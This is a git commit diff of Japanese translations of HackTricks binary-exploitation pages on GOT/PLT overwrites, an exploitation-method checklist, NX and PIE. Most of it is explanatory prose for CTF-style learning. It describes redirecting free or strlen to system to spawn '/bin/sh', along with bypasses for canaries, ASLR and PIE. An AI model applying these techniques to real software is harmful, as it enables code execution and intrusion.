mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-
This commit is contained in:
parent
a479f0853d
commit
3672c7e9cf
@ -6,13 +6,13 @@
|
|||||||
|
|
||||||
### **GOT: グローバルオフセットテーブル**
|
### **GOT: グローバルオフセットテーブル**
|
||||||
|
|
||||||
**グローバルオフセットテーブル (GOT)** は、動的リンクバイナリで外部関数の**アドレスを管理するためのメカニズム**です。これらの**アドレスは実行時まで知られない**ため(動的リンクのため)、GOTは**これらの外部シンボルのアドレスを動的に更新する方法**を提供します。
|
**グローバルオフセットテーブル (GOT)** は、動的リンクバイナリで外部関数の**アドレスを管理するために使用されるメカニズム**です。これらの**アドレスは実行時まで知られない**ため(動的リンクのため)、GOTは**これらの外部シンボルのアドレスを動的に更新する方法**を提供します。
|
||||||
|
|
||||||
GOTの各エントリは、バイナリが呼び出す可能性のある外部ライブラリのシンボルに対応しています。**関数が最初に呼び出されると、動的リンカーによってその実際のアドレスが解決され、GOTに保存されます**。同じ関数への後続の呼び出しは、GOTに保存されたアドレスを使用し、再度アドレスを解決するオーバーヘッドを回避します。
|
GOTの各エントリは、バイナリが呼び出す可能性のある外部ライブラリのシンボルに対応しています。**関数が最初に呼び出されると、その実際のアドレスは動的リンカーによって解決され、GOTに格納されます**。同じ関数への後続の呼び出しは、GOTに格納されたアドレスを使用し、再度アドレスを解決するオーバーヘッドを回避します。
|
||||||
|
|
||||||
### **PLT: プロシージャリンクテーブル**
|
### **PLT: プロシージャリンクテーブル**
|
||||||
|
|
||||||
**プロシージャリンクテーブル (PLT)** はGOTと密接に連携し、外部関数への呼び出しを処理するためのトランポリンとして機能します。バイナリが**外部関数を初めて呼び出すと、制御はその関数に関連付けられたPLTのエントリに渡されます**。このPLTエントリは、関数のアドレスがまだ解決されていない場合、動的リンカーを呼び出してアドレスを解決する責任があります。アドレスが解決された後、それは**GOT**に保存されます。
|
**プロシージャリンクテーブル (PLT)** はGOTと密接に連携し、外部関数への呼び出しを処理するためのトランポリンとして機能します。バイナリが**外部関数を初めて呼び出すと、制御はその関数に関連付けられたPLTのエントリに渡されます**。このPLTエントリは、関数のアドレスがまだ解決されていない場合、動的リンカーを呼び出してアドレスを解決する責任があります。アドレスが解決された後、それは**GOT**に格納されます。
|
||||||
|
|
||||||
**したがって、** GOTエントリは外部関数または変数のアドレスが解決された後に直接使用されます。**PLTエントリは、動的リンカーを介してこれらのアドレスの初期解決を促進するために使用されます。**
|
**したがって、** GOTエントリは外部関数または変数のアドレスが解決された後に直接使用されます。**PLTエントリは、動的リンカーを介してこれらのアドレスの初期解決を促進するために使用されます。**
|
||||||
|
|
||||||
@ -20,45 +20,45 @@ GOTの各エントリは、バイナリが呼び出す可能性のある外部
|
|||||||
|
|
||||||
### GOTを確認
|
### GOTを確認
|
||||||
|
|
||||||
GOTテーブルのアドレスを取得するには、**`objdump -s -j .got ./exec`**を使用します。
|
GOTテーブルのアドレスを取得するには: **`objdump -s -j .got ./exec`**
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
GEFで**実行可能ファイル**を**読み込む**と、**GOT**にある**関数**を**見ることができます**: `gef➤ x/20x 0xADDR_GOT`
|
GEFで**実行可能ファイルを読み込んだ後、GOTにある** **関数**を**見ることができます**: `gef➤ x/20x 0xADDR_GOT`
|
||||||
|
|
||||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
||||||
|
|
||||||
GEFを使用して**デバッグ**セッションを**開始**し、**`got`**を実行してGOTテーブルを表示できます。
|
GEFを使用して**デバッグ**セッションを**開始**し、**`got`**を実行してGOTテーブルを表示できます:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### GOT2Exec
|
### GOT2Exec
|
||||||
|
|
||||||
バイナリ内のGOTは、関数の**アドレス**またはその関数アドレスを読み込む**PLT**セクションのアドレスを持っています。この任意の書き込みの目的は、後で実行される関数の**GOTエントリを上書きすること**です。例えば、**`system`** **関数**のPLTの**アドレス**で上書きします。
|
バイナリ内のGOTには、**関数のアドレスまたは** **PLT**セクションのアドレスが含まれています。この任意の書き込みの目的は、後で実行される関数の**GOTエントリを上書きすること**です。例えば、**`system`** **関数**のPLTの**アドレス**で上書きします。
|
||||||
|
|
||||||
理想的には、**あなたが制御するパラメータで呼び出される関数の**GOTを**上書き**します(これにより、system関数に送信されるパラメータを制御できます)。
|
理想的には、**あなたが制御するパラメータで呼び出される関数のGOTを上書きすることになります**(これにより、system関数に送信されるパラメータを制御できるようになります)。
|
||||||
|
|
||||||
もし**`system`** **がバイナリで使用されていない場合**、system関数はPLTにエントリを持ちません。このシナリオでは、最初に`system`関数のアドレスを**リーク**し、その後GOTをこのアドレスを指すように上書きする必要があります。
|
もし**`system`** **がバイナリで使用されていない場合、system関数はPLTにエントリを持ちません**。このシナリオでは、最初に`system`関数のアドレスを**リーク**し、その後GOTをこのアドレスを指すように上書きする必要があります。
|
||||||
|
|
||||||
PLTアドレスは**`objdump -j .plt -d ./vuln_binary`**で確認できます。
|
PLTアドレスは**`objdump -j .plt -d ./vuln_binary`**で確認できます。
|
||||||
|
|
||||||
## libc GOTエントリ
|
## libc GOTエントリ
|
||||||
|
|
||||||
**libcのGOT**は通常、**部分的RELRO**でコンパイルされており、そのアドレスを特定できる場合には良いターゲットとなります([**ASLR**](../common-binary-protections-and-bypasses/aslr/))。
|
**libcのGOT**は通常、**部分的RELRO**でコンパイルされており、そのアドレスを特定できれば良いターゲットになります([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html))。
|
||||||
|
|
||||||
libcの一般的な関数は、**他の内部関数**を呼び出し、そのGOTを上書きすることでコード実行を得ることができます。
|
libcの一般的な関数は、**他の内部関数**を呼び出すことがあり、そのGOTはコード実行を得るために上書きされる可能性があります。
|
||||||
|
|
||||||
[**この技術に関する詳細情報はこちら**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)を参照してください。
|
[**この技術に関する詳細情報はこちら**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)を参照してください。
|
||||||
|
|
||||||
### **Free2system**
|
### **Free2system**
|
||||||
|
|
||||||
ヒープのエクスプロイトCTFでは、チャンクの内容を制御でき、時にはGOTテーブルを上書きすることが一般的です。利用できるガジェットがない場合にRCEを得るための簡単なトリックは、`free`のGOTアドレスを`system`を指すように上書きし、チャンク内に`"/bin/sh"`を書き込むことです。このようにして、このチャンクが解放されると、`system("/bin/sh")`が実行されます。
|
ヒープのエクスプロイトCTFでは、チャンクの内容を制御でき、時にはGOTテーブルを上書きすることが一般的です。利用可能なガジェットがない場合にRCEを取得するための簡単なトリックは、`free`のGOTアドレスを`system`を指すように上書きし、チャンク内に`"/bin/sh"`を書き込むことです。このようにして、このチャンクが解放されると、`system("/bin/sh")`が実行されます。
|
||||||
|
|
||||||
### **Strlen2system**
|
### **Strlen2system**
|
||||||
|
|
||||||
もう一つの一般的な技術は、**`strlen`**のGOTアドレスを**`system`**を指すように上書きすることです。これにより、この関数がユーザー入力で呼び出されると、文字列`"/bin/sh"`を渡してシェルを取得することが可能になります。
|
もう一つの一般的な技術は、**`strlen`**のGOTアドレスを**`system`**を指すように上書きすることです。これにより、この関数がユーザー入力で呼び出されると、文字列`"/bin/sh"`を渡してシェルを取得することが可能になります。
|
||||||
|
|
||||||
さらに、`puts`がユーザー入力で使用される場合、`strlen`のGOTアドレスを`system`を指すように上書きし、文字列`"/bin/sh"`を渡してシェルを取得することが可能です。なぜなら、**`puts`はユーザー入力で`strlen`を呼び出すからです**。
|
さらに、`puts`がユーザー入力で使用される場合、`strlen`のGOTアドレスを`system`を指すように上書きし、文字列`"/bin/sh"`を渡してシェルを取得することが可能です。**`puts`はユーザー入力で`strlen`を呼び出します**。
|
||||||
|
|
||||||
## **One Gadget**
|
## **One Gadget**
|
||||||
|
|
||||||
@ -66,9 +66,9 @@ libcの一般的な関数は、**他の内部関数**を呼び出し、そのGOT
|
|||||||
../rop-return-oriented-programing/ret2lib/one-gadget.md
|
../rop-return-oriented-programing/ret2lib/one-gadget.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## **ヒープからのGOTの悪用**
|
## **ヒープからGOTを悪用する**
|
||||||
|
|
||||||
ヒープの脆弱性からRCEを取得する一般的な方法は、ファストビンを悪用することです。これにより、GOTテーブルの一部をファストビンに追加できるため、そのチャンクが割り当てられると、**通常は`free`のポインタを上書きすることが可能になります**。\
|
ヒープの脆弱性からRCEを取得する一般的な方法は、ファストビンを悪用することです。これにより、GOTテーブルの一部をファストビンに追加できるため、そのチャンクが割り当てられると、**通常は`free`の関数ポインタを上書きすることが可能になります**。\
|
||||||
その後、`free`を`system`に指し、`/bin/sh\x00`が書き込まれたチャンクを解放すると、シェルが実行されます。
|
その後、`free`を`system`に指し、`/bin/sh\x00`が書き込まれたチャンクを解放すると、シェルが実行されます。
|
||||||
|
|
||||||
[**ここに例があります**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**。**
|
[**ここに例があります**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**。**
|
||||||
|
@ -24,13 +24,13 @@ tools/
|
|||||||
|
|
||||||
プログラムのフローを制御する方法はいくつかあります:
|
プログラムのフローを制御する方法はいくつかあります:
|
||||||
|
|
||||||
- [**スタックオーバーフロー**](../stack-overflow/) スタックからのリターンポインタや EBP -> ESP -> EIP を上書きする。
|
- [**スタックオーバーフロー**](../stack-overflow/index.html)によってスタックからリターンポインタを上書きするか、EBP -> ESP -> EIPを操作します。
|
||||||
- オーバーフローを引き起こすために [**整数オーバーフロー**](../integer-overflow.md) を悪用する必要があるかもしれません。
|
- オーバーフローを引き起こすために[**整数オーバーフロー**](../integer-overflow.md)を悪用する必要があるかもしれません。
|
||||||
- または **任意の書き込み + 実行への書き込み**。
|
- または**任意の書き込み + 実行への書き込み**を介して。
|
||||||
- [**フォーマット文字列**](../format-strings/)**:** `printf` を悪用して任意の内容を任意のアドレスに書き込む。
|
- [**フォーマット文字列**](../format-strings/index.html)**:** `printf`を悪用して任意のコンテンツを任意のアドレスに書き込みます。
|
||||||
- [**配列インデクシング**](../array-indexing.md): 不適切に設計されたインデクシングを悪用して、いくつかの配列を制御し、任意の書き込みを得る。
|
- [**配列インデクシング**](../array-indexing.md): 不適切に設計されたインデクシングを悪用して、いくつかの配列を制御し、任意の書き込みを取得します。
|
||||||
- オーバーフローを引き起こすために [**整数オーバーフロー**](../integer-overflow.md) を悪用する必要があるかもしれません。
|
- オーバーフローを引き起こすために[**整数オーバーフロー**](../integer-overflow.md)を悪用する必要があるかもしれません。
|
||||||
- **bof to WWW via ROP**: バッファオーバーフローを悪用して ROP を構築し、WWW を取得できるようにします。
|
- **bofからWWWへのROP**: バッファオーバーフローを悪用してROPを構築し、WWWを取得できるようにします。
|
||||||
|
|
||||||
**実行への書き込み**技術は以下で見つけることができます:
|
**実行への書き込み**技術は以下で見つけることができます:
|
||||||
|
|
||||||
@ -40,72 +40,72 @@ tools/
|
|||||||
|
|
||||||
## 永続ループ
|
## 永続ループ
|
||||||
|
|
||||||
考慮すべきことは、通常、**脆弱性の1回のエクスプロイトでは不十分な場合がある**ということです。特にいくつかの保護を回避する必要があります。したがって、**単一の脆弱性を同じバイナリの実行中に何度もエクスプロイト可能にする**いくつかのオプションを議論することは興味深いです:
|
考慮すべきことは、通常**脆弱性の1回のエクスプロイトでは不十分な場合がある**ということです。特にいくつかの保護を回避する必要があります。したがって、**単一の脆弱性を同じバイナリの実行中に何度もエクスプロイト可能にする**いくつかのオプションを議論することは興味深いです:
|
||||||
|
|
||||||
- **`main` 関数**のアドレスや**脆弱性**が発生しているアドレスを ROP チェーンに書き込む。
|
- **`main`関数**のアドレスまたは**脆弱性**が発生しているアドレスをROPチェーンに書き込みます。
|
||||||
- 適切な ROP チェーンを制御することで、そのチェーン内のすべてのアクションを実行できるかもしれません。
|
- 適切なROPチェーンを制御することで、そのチェーン内のすべてのアクションを実行できるかもしれません。
|
||||||
- **`exit` GOT のアドレス**(またはバイナリが終了する前に使用する他の関数)に**脆弱性に戻る**アドレスを書き込む。
|
- **`exit`のGOT内のアドレス**(またはバイナリが終了する前に使用する他の関数)に**脆弱性に戻る**アドレスを書き込みます。
|
||||||
- [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**で説明されているように、ここに2つの関数を格納し、1つは再度脆弱性を呼び出し、もう1つは**`__libc_csu_fini`**を呼び出して`.fini_array`から関数を再度呼び出します。
|
- [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**で説明されているように、ここに2つの関数を格納します。1つは再度脆弱性を呼び出し、もう1つは**`__libc_csu_fini`**を呼び出し、再度`.fini_array`から関数を呼び出します。
|
||||||
|
|
||||||
## エクスプロイトの目標
|
## エクスプロイトの目標
|
||||||
|
|
||||||
### 目標: 既存の関数を呼び出す
|
### 目標: 既存の関数を呼び出す
|
||||||
|
|
||||||
- [**ret2win**](#ret2win): フラグを取得するために呼び出す必要があるコード内の関数(特定のパラメータが必要な場合もあります)。
|
- [**ret2win**](#ret2win): フラグを取得するために呼び出す必要がある関数がコード内にあります(特定のパラメータが必要な場合があります)。
|
||||||
- **PIE**なしの**通常のbof**では、スタックに保存されたリターンアドレスにアドレスを書き込むだけで済みます。
|
- **PIE**がない**通常のbofでは**、スタックに保存されたリターンアドレスにアドレスを書き込むだけで済みます。
|
||||||
- **PIE**があるbofでは、それを回避する必要があります。
|
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)があるbofでは、それを回避する必要があります。
|
||||||
- **canary**があるbofでは、それを回避する必要があります。
|
- [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)があるbofでは、それを回避する必要があります。
|
||||||
- **ret2win**関数を正しく呼び出すために複数のパラメータを設定する必要がある場合は、以下を使用できます:
|
- **ret2win**関数を正しく呼び出すために複数のパラメータを設定する必要がある場合は、次のようにできます:
|
||||||
- 十分なガジェットがある場合は、[**ROP**](#rop-and-ret2...-techniques) **チェーン**を使用してすべてのパラメータを準備します。
|
- すべてのパラメータを準備するのに十分なガジェットがある場合は、[**ROP**](#rop-and-ret2...-techniques) **チェーンを使用します**。
|
||||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/)(このシステムコールを呼び出せる場合)を使用して多くのレジスタを制御します。
|
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html)(このシステムコールを呼び出せる場合)を使用して多くのレジスタを制御します。
|
||||||
- [**ret2csu**](../rop-return-oriented-programing/ret2csu.md)および[**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)からのガジェットを使用して複数のレジスタを制御します。
|
- [**ret2csu**](../rop-return-oriented-programing/ret2csu.md)および[**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)からのガジェットを使用して複数のレジスタを制御します。
|
||||||
- [**Write What Where**](../arbitrary-write-2-exec/)を介して、他の脆弱性(bofではない)を悪用して**`win`**関数を呼び出すことができます。
|
- [**Write What Where**](../arbitrary-write-2-exec/index.html)を介して、他の脆弱性(bofではない)を悪用して**`win`**関数を呼び出すことができます。
|
||||||
- [**ポインタのリダイレクト**](../stack-overflow/pointer-redirecting.md): スタックに呼び出される関数へのポインタや、興味のある関数(systemやprintf)で使用される文字列へのポインタが含まれている場合、そのアドレスを上書きすることが可能です。
|
- [**ポインタのリダイレクト**](../stack-overflow/pointer-redirecting.md): スタックに呼び出される関数へのポインタや、興味のある関数(systemまたはprintf)で使用される文字列へのポインタが含まれている場合、そのアドレスを上書きすることが可能です。
|
||||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)や[**PIE**](../common-binary-protections-and-bypasses/pie/)がアドレスに影響を与える可能性があります。
|
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)または[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)がアドレスに影響を与える可能性があります。
|
||||||
- [**未初期化変数**](../stack-overflow/uninitialized-variables.md): あなたは決してわかりません。
|
- [**未初期化変数**](../stack-overflow/uninitialized-variables.md): あなたは決してわかりません。
|
||||||
|
|
||||||
### 目標: RCE
|
### 目標: RCE
|
||||||
|
|
||||||
#### シェルコード経由、nxが無効な場合またはシェルコードとROPを混合する場合:
|
#### シェルコードを介して、nxが無効な場合またはシェルコードとROPを混合する場合:
|
||||||
|
|
||||||
- [**(スタック)シェルコード**](#stack-shellcode): これは、リターンポインタを上書きする前または後にスタックにシェルコードを格納し、**それにジャンプして**実行するのに役立ちます:
|
- [**(スタック)シェルコード**](#stack-shellcode): これは、リターンポインタを上書きする前または後にスタックにシェルコードを格納し、次に**それにジャンプして**実行するのに役立ちます:
|
||||||
- いかなる場合でも、**canary**がある場合、通常のbofではそれを回避(リーク)する必要があります。
|
- **いかなる場合でも、** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**がある場合、通常のbofではそれを回避する必要があります(リーク)**。
|
||||||
- **ASLR**なしおよび**nx**なしでは、スタックのアドレスにジャンプすることが可能です。なぜなら、それは決して変わらないからです。
|
- **ASLR**がない場合、**nx**がない場合、スタックのアドレスにジャンプすることが可能です。なぜなら、それは決して変わらないからです。
|
||||||
- **ASLR**がある場合は、[**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md)のような技術を使用してそこにジャンプする必要があります。
|
- **ASLR**がある場合、[**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md)のような技術を使用してそこにジャンプする必要があります。
|
||||||
- **nx**がある場合は、いくつかの[**ROP**](../rop-return-oriented-programing/)を使用して`memprotect`を呼び出し、ページを`rwx`にしてから、そこにシェルコードを格納(例えばreadを呼び出す)し、そこにジャンプする必要があります。
|
- **nx**がある場合、いくつかの[**ROP**](../rop-return-oriented-programing/index.html)を使用して`memprotect`を呼び出し、ページを`rwx`にしてから、そこにシェルコードを格納し(例えばreadを呼び出す)、その後そこにジャンプする必要があります。
|
||||||
- これはシェルコードとROPチェーンを混合します。
|
- これはシェルコードとROPチェーンを混合します。
|
||||||
|
|
||||||
#### システムコール経由
|
#### システムコールを介して
|
||||||
|
|
||||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): 任意のコマンドを実行するために`execve`を呼び出すのに役立ちます。**特定のシステムコールをパラメータで呼び出すためのガジェットを見つける必要があります**。
|
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): 任意のコマンドを実行するために`execve`を呼び出すのに役立ちます。**特定のシステムコールをパラメータで呼び出すためのガジェットを見つける必要があります**。
|
||||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)や[**PIE**](../common-binary-protections-and-bypasses/pie/)が有効な場合、バイナリやライブラリからROPガジェットを使用するためにそれらを打破する必要があります。
|
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)または[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)が有効な場合、バイナリやライブラリからROPガジェットを使用するためにそれらを打破する必要があります。
|
||||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/)は**ret2execve**を準備するのに役立ちます。
|
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html)は**ret2execve**を準備するのに役立ちます。
|
||||||
- [**ret2csu**](../rop-return-oriented-programing/ret2csu.md)および[**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)からのガジェットを使用して複数のレジスタを制御します。
|
- [**ret2csu**](../rop-return-oriented-programing/ret2csu.md)および[**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)からのガジェットを使用して複数のレジスタを制御します。
|
||||||
|
|
||||||
#### libc経由
|
#### libcを介して
|
||||||
|
|
||||||
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): **`libc`**からの関数(通常は**`system`**)を呼び出すのに役立ちます。準備された引数(例:`'/bin/sh'`)を使用します。呼び出したい関数を持つライブラリを**バイナリがロードする必要があります**(通常はlibc)。
|
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): **`libc`**のようなライブラリから関数を呼び出すのに役立ちます(通常は**`system`**)いくつかの準備された引数(例:`'/bin/sh'`)で。呼び出したい関数を持つライブラリを**バイナリがロードする必要があります**(通常はlibc)。
|
||||||
- **静的にコンパイルされていて、PIEがない場合**、`system`と`/bin/sh`の**アドレス**は変わらないため、静的に使用することが可能です。
|
- **静的にコンパイルされていて、** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)がない場合、`system`と`/bin/sh`の**アドレス**は変わらないため、静的に使用することが可能です。
|
||||||
- **ASLRなし**および**ロードされたlibcのバージョンを知っている場合**、`system`と`/bin/sh`の**アドレス**は変わらないため、静的に使用することが可能です。
|
- **ASLR**がない場合、**libcのバージョン**を知っている場合、`system`と`/bin/sh`の**アドレス**は変わらないため、静的に使用することが可能です。
|
||||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)があるが[**PIE**](../common-binary-protections-and-bypasses/pie/)がない場合、libcを知っていて、バイナリが`system`関数を使用している場合、**GOT内のsystemのアドレスに`ret`し、`'/bin/sh'`のアドレスをパラメータにすることが可能です**(これを解決する必要があります)。
|
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)があるが[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)がない場合、libcを知っていて、バイナリが`system`**関数を使用している場合、**GOT内のsystemのアドレスに**`ret`し、`'/bin/sh'`のアドレスをパラメータにすることが可能です(これを見つける必要があります)。
|
||||||
- [ASLR](../common-binary-protections-and-bypasses/aslr/)があるが[PIE](../common-binary-protections-and-bypasses/pie/)がない場合、libcを知っていて、**バイナリが`system`を使用していない場合**:
|
- [ASLR](../common-binary-protections-and-bypasses/aslr/index.html)があり、[PIE](../common-binary-protections-and-bypasses/pie/index.html)がないが、libcを知っていて**バイナリが`system`**を使用していない場合:
|
||||||
- [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md)を使用して`system`のアドレスを解決し、呼び出します。
|
- [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md)を使用して`system`のアドレスを解決し、呼び出します。
|
||||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)を回避し、メモリ内の`system`と`'/bin/sh'`のアドレスを計算します。
|
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)を回避し、メモリ内の`system`と`'/bin/sh'`のアドレスを計算します。
|
||||||
- **ASLR**と[**PIE**](../common-binary-protections-and-bypasses/pie/)があり、libcを知らない場合は:
|
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)と[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)があり、libcを知らない場合:次のことを行う必要があります:
|
||||||
- [**PIE**](../common-binary-protections-and-bypasses/pie/)を回避する必要があります。
|
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)を回避します。
|
||||||
- 使用されている**`libc`のバージョン**を見つける(いくつかの関数アドレスをリークする)。
|
- 使用されている**`libc`バージョン**を見つけます(いくつかの関数アドレスをリークします)。
|
||||||
- **ASLR**の前のシナリオを確認して続行します。
|
- 続行するために**ASLR**を使用した以前のシナリオを確認します。
|
||||||
|
|
||||||
#### EBP/RBP経由
|
#### EBP/RBPを介して
|
||||||
|
|
||||||
- [**スタックピボッティング / EBP2Ret / EBPチェイニング**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): スタック内の保存されたEBPを通じてESPを制御してRETを制御します。
|
- [**スタックピボット / EBP2Ret / EBPチェイニング**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): スタック内の保存されたEBPを介してESPを制御してRETを制御します。
|
||||||
- **オフバイワン**スタックオーバーフローに役立ちます。
|
- **オフバイワン**スタックオーバーフローに役立ちます。
|
||||||
- EIPを制御しながら、メモリ内にペイロードを構築し、EBPを介してそれにジャンプするための代替手段として役立ちます。
|
- メモリ内にペイロードを構築し、その後EBPを介してそれにジャンプする際にEIPを制御するための代替手段として役立ちます。
|
||||||
|
|
||||||
#### その他
|
#### その他
|
||||||
|
|
||||||
- [**ポインタのリダイレクト**](../stack-overflow/pointer-redirecting.md): スタックに呼び出される関数へのポインタや、興味のある関数(systemやprintf)で使用される文字列へのポインタが含まれている場合、そのアドレスを上書きすることが可能です。
|
- [**ポインタのリダイレクト**](../stack-overflow/pointer-redirecting.md): スタックに呼び出される関数へのポインタや、興味のある関数(systemまたはprintf)で使用される文字列へのポインタが含まれている場合、そのアドレスを上書きすることが可能です。
|
||||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)や[**PIE**](../common-binary-protections-and-bypasses/pie/)がアドレスに影響を与える可能性があります。
|
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)または[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)がアドレスに影響を与える可能性があります。
|
||||||
- [**未初期化変数**](../stack-overflow/uninitialized-variables.md): あなたは決してわかりません。
|
- [**未初期化変数**](../stack-overflow/uninitialized-variables.md): あなたは決してわかりません。
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -4,13 +4,13 @@
|
|||||||
|
|
||||||
## 基本情報
|
## 基本情報
|
||||||
|
|
||||||
**No-Execute (NX)** ビットは、Intel用語で **Execute Disable (XD)** とも呼ばれ、**バッファオーバーフロー** 攻撃の影響を **軽減** するために設計されたハードウェアベースのセキュリティ機能です。実装され有効化されると、**実行可能コード** 用のメモリ領域と、**スタック** や **ヒープ** のような **データ** 用のメモリ領域を区別します。基本的なアイデアは、攻撃者がバッファオーバーフローの脆弱性を通じて悪意のあるコードを実行するのを防ぐことです。例えば、悪意のあるコードをスタックに置き、実行フローをそれに向けることを防ぎます。
|
**No-Execute (NX)** ビットは、Intel用語で **Execute Disable (XD)** とも呼ばれ、**バッファオーバーフロー** 攻撃の影響を **軽減** するために設計されたハードウェアベースのセキュリティ機能です。実装され有効化されると、**実行可能コード** 用のメモリ領域と、**スタック** や **ヒープ** などの **データ** 用のメモリ領域を区別します。基本的な考え方は、攻撃者がバッファオーバーフローの脆弱性を通じて悪意のあるコードを実行するのを防ぐことです。例えば、悪意のあるコードをスタックに置き、実行フローをそれに向けることを防ぎます。
|
||||||
|
|
||||||
## バイパス
|
## バイパス
|
||||||
|
|
||||||
- この保護を **バイパス** するために、バイナリ内に既に存在する実行可能コードのチャンクを実行するような技術、例えば [**ROP**](../rop-return-oriented-programing/) を使用することが可能です。
|
- この保護を **バイパス** するために、バイナリ内に既に存在する実行可能コードのチャンクを実行するような技術を使用することが可能です。[**ROP**](../rop-return-oriented-programing/index.html)
|
||||||
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
|
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/index.html)
|
||||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
|
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html)
|
||||||
- **Ret2...**
|
- **Ret2...**
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -4,18 +4,18 @@
|
|||||||
|
|
||||||
## 基本情報
|
## 基本情報
|
||||||
|
|
||||||
PIE(**位置独立実行可能ファイル**)としてコンパイルされたバイナリは、**プログラムが実行されるたびに異なるメモリ位置にロードされる**ことを意味し、ハードコーディングされたアドレスを防ぎます。
|
PIE(**Position Independent Executable**)としてコンパイルされたバイナリは、**プログラムが実行されるたびに異なるメモリ位置にロードされる**ことを意味し、ハードコーディングされたアドレスを防ぎます。
|
||||||
|
|
||||||
これらのバイナリを悪用するトリックは、**相対アドレス**を利用することにあります。プログラムの部分間のオフセットは、絶対位置が変わっても同じままです。**PIEをバイパスするには、1つのアドレスを漏洩させるだけで済みます**。通常は、フォーマットストリング攻撃のような脆弱性を使用して**スタック**から取得します。アドレスを取得したら、その**固定オフセット**を使って他のアドレスを計算できます。
|
これらのバイナリを悪用するトリックは、**相対アドレス**を利用することにあります。プログラムの部分間のオフセットは、絶対位置が変わっても同じままです。**PIEをバイパスするには、1つのアドレスを漏洩させるだけで済みます**。通常は、フォーマットストリング攻撃のような脆弱性を使用して**スタック**から取得します。アドレスを取得したら、**固定オフセット**を使って他のアドレスを計算できます。
|
||||||
|
|
||||||
PIEバイナリを悪用する際の役立つヒントは、**基本アドレスが通常000で終わる**ことです。これは、メモリページがランダム化の単位であり、サイズが0x1000バイトであるためです。このアライメントは、**エクスプロイトが期待通りに機能していない場合の重要なチェック**となり、正しい基本アドレスが特定されているかどうかを示します。\
|
PIEバイナリを悪用する際の役立つヒントは、**基本アドレスが通常000で終わる**ことです。これは、メモリページがランダム化の単位であり、サイズが0x1000バイトであるためです。このアライメントは、**エクスプロイトが期待通りに動作しない場合の重要なチェック**となり、正しい基本アドレスが特定されているかどうかを示します。\
|
||||||
